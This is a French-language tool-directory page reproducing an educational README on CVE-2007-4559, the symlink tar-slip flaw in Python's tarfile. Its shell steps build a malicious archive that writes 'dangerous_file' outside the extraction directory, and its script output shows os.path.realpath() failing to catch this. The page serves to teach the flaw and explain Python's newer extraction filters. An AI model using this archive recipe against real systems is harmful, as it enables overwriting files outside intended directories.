Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2007-4559 — Démonstration pédagogique de l'attaque par lien symbolique (symlink) dans le module tarfile de Python CVE-2007-4559 avec un script montrant pourquoi os.path.realpath() échoue à empêcher l'extraction en dehors des répertoires prévus. | Kitploit
Outils/GitHubGitHub/davidholiday/cve-2007-4559
Analyse StatiqueAnalyse des VulnérabilitésAnalyse de CodeExploitationSécurité de la Chaîne LogistiqueApprentissage et Éducation
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

Démonstration pédagogique de l'attaque par lien symbolique (symlink) dans le module tarfile de Python CVE-2007-4559 avec un script montrant pourquoi os.path.realpath() échoue à empêcher l'extraction en dehors des répertoires prévus.

Voir le dépôt
1il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

démonstration de CVE-2007-4559

qu'est-ce que c'est ?

Ceci est une démonstration de la façon dont la gestion par défaut de Python de l'extraction de fichiers tar avant Python v3.11.4 est vulnérable à une simple attaque par lien symbolique. Les instructions ci-dessous décrivent comment créer une charge utile malveillante. Le script untar.py montre comment et pourquoi les fonctionnalités ajoutées dans 3.11.4 fonctionnent - notamment la nécessité d'invoquer quelque chose comme os.path.realpath() avant chaque écriture pour chaque fichier. Le script utilise exactement la même méthode d'inspection que celle trouvée dans la fonctionnalité extraction filter incluse dans Python >= 3.11.4, SAUF qu'il n'écrit pas les fichiers sur le disque. Il montre ainsi comment os.path.realpath() est incapable de résoudre correctement les liens symboliques et permettra donc aux membres du tar d'être écrits en dehors de l'emplacement du système de fichiers prévu.

qu'y a-t-il ici ?

  • instructions (ce fichier) sur la façon de configurer le bac à sable et le fichier tar malveillant.

  • script Python untar.py qui démontrera le 'pourquoi' derrière la récente implémentation de la validation améliorée des tar dans la bibliothèque tarfile de Python. En raison du fonctionnement de os.path.realpath(), on ne peut pas compter sur elle pour résoudre les liens symboliques à moins que ces liens ne soient déjà sur le système de fichiers. Cela signifie qu'on ne peut pas se fier uniquement à os.path.realpath() pour inspecter les chemins des membres du tar avant d'extraire l'archive. Il faut plutôt appeler os.path.realpath() avant chaque écriture pour chaque membre de l'archive pour s'assurer de la détection d'une activité de lien malveillante. Voir PEP-706 et doc tarfile pour plus d'informations.

créer l'environnement et le fichier tar malveillant

  1. créer un environnement de test
root@kitploit:~
snerd@jess:~$ mkdir -p lab/{lib,target}
  1. ajouter le dossier ./lib à l'archive tar
root@kitploit:~
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
  1. remplacer le répertoire ./lib par un lien symbolique du même nom vers '.'
root@kitploit:~
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
  1. ajouter le lien symbolique 'lib' à l'archive
root@kitploit:~
snerd@jess:~/lab$ tar -rvPf terry.tar lib
  1. remplacer le lien symbolique 'lib' par un répertoire et un fichier
root@kitploit:~
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
  1. ajouter un fichier à l'archive en utilisant un chemin relatif
root@kitploit:~
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
  1. copier le tar dans le répertoire cible
root@kitploit:~
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
  1. extraire le tar. 'dangerous_file' a été extrait en dehors du répertoire cible
root@kitploit:~
snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

utiliser le script Python

  1. télécharger untar.py depuis ce dépôt et le placer dans le répertoire ./lab

  2. exécuter le script. noter à quel point il est facile de tromper os.path.realpath() lorsque le lien symbolique malveillant n'a pas encore été écrit sur le système de fichiers cible.

root@kitploit:~
snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

lectures complémentaires

  • [Python-Dev] Vulnérabilité de traversée de répertoire de tarfile

  • Alerte : Une faille vieille de 15 ans dans tarfile de Python se cache dans 'plus de 350 000' projets de code

  • Message SO sur la façon d'extraire en toute sécurité des archives tar avant les nouvelles fonctionnalités de Python 3.11.4

  • problème Python 21109

  • Déclaration de 2022 du mainteneur de longue date [ret. 2019] de la bibliothèque tarlib

  • Implémentation de la nouvelle fonctionnalité de filtre d'extraction introduite dans Python 3.11.4

Télécharger l’outil